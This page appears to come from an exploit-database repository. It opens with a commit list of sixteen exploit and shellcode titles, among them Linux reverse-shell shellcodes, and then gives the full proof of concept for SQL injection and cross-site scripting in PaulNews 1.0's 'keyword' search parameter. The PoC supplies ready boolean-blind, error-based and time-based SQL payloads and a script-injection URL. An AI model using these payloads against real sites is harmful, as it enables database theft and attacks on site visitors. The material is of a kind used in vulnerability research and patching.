c0126aa27f
16 changes to exploits/shellcodes DynoRoot DHCP - Client Command Injection DynoRoot DHCP Client - Command Injection Microsoft Internet Explorer 11 (Windows 7 x64/x86) - vbscript Code Execution Flash ActiveX 18.0.0.194 - Code Execution Microsoft Internet Explorer 11 - javascript Code Execution Flash ActiveX 28.0.0.137 - Code Execution (1) Flash ActiveX 28.0.0.137 - Code Execution (2) GNU glibc < 2.27 - Local Buffer Overflow NewsBee CMS 1.4 - Cross-Site Request Forgery ASP.NET jVideo Kit - 'query' SQL Injection PaulNews 1.0 - 'keyword' SQL Injection / Cross-Site Scripting OpenDaylight - SQL Injection Timber 1.1 - Cross-Site Request Forgery Honeywell XL Web Controller - Cross-Site Scripting EU MRV Regulatory Complete Solution 1 - Authentication Bypass Linux/x86 - Reverse (10.10.2.4:4444/TCP) Shell Shellcode (68 bytes) Linux/x86 - Reverse (10.0.7.17:4444/TCP) Shell (/bin/sh) Shellcode (101 Bytes)
44 lines
No EOL
1.4 KiB
Text
44 lines
No EOL
1.4 KiB
Text
# Exploit Title: PaulNews 1.0 - 'keyword' SQL Injection / Cross-Site Scripting
|
|
# Dork: N/A
|
|
# Date: 23.05.2018
|
|
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
|
|
# Vendor: MediaSoft Pro
|
|
# Vendor Homepage: https://codecanyon.net/item/paulnews-newspaper-and-magazine-script/19260686
|
|
# Version: v1.0
|
|
# Category: Webapps
|
|
# Tested on: Kali linux
|
|
# Description : The vulnerability allows an attacker to inject sql commands
|
|
from the search section with 'keyword' parameter. You can use the GET or
|
|
POST methods.
|
|
====================================================
|
|
|
|
# PoC : SQLi :
|
|
|
|
http://test.com/news/search?keyword=[SQL]
|
|
|
|
# Vulnerable Payload :
|
|
|
|
Parameter: query (GET)
|
|
Type : boolean-based blind
|
|
Demo : http://test.com/news/search?keyword=test
|
|
Payload: keyword=-3431') OR 6871=6871#
|
|
|
|
Type : error-based
|
|
Demo : http://test.com/news/search?keyword=test
|
|
Payload: keyword=test') OR (SELECT 8996 FROM(SELECT
|
|
COUNT(*),CONCAT(0x71626b6271,(SELECT
|
|
(ELT(8996=8996,1))),0x71766b7671,FLOOR(RAND(0)*2))x FROM
|
|
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IsdG
|
|
|
|
Type : AND/OR time-based blind
|
|
Demo : http://test.com/news/search?keyword=test
|
|
Payload: keyword=test') OR SLEEP(5)-- OEdN
|
|
|
|
|
|
====================================================
|
|
|
|
# PoC : XSS :
|
|
|
|
Payload :
|
|
http://test.com/news/search?keyword=%27%20%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E%E2%80%98
|
|
; |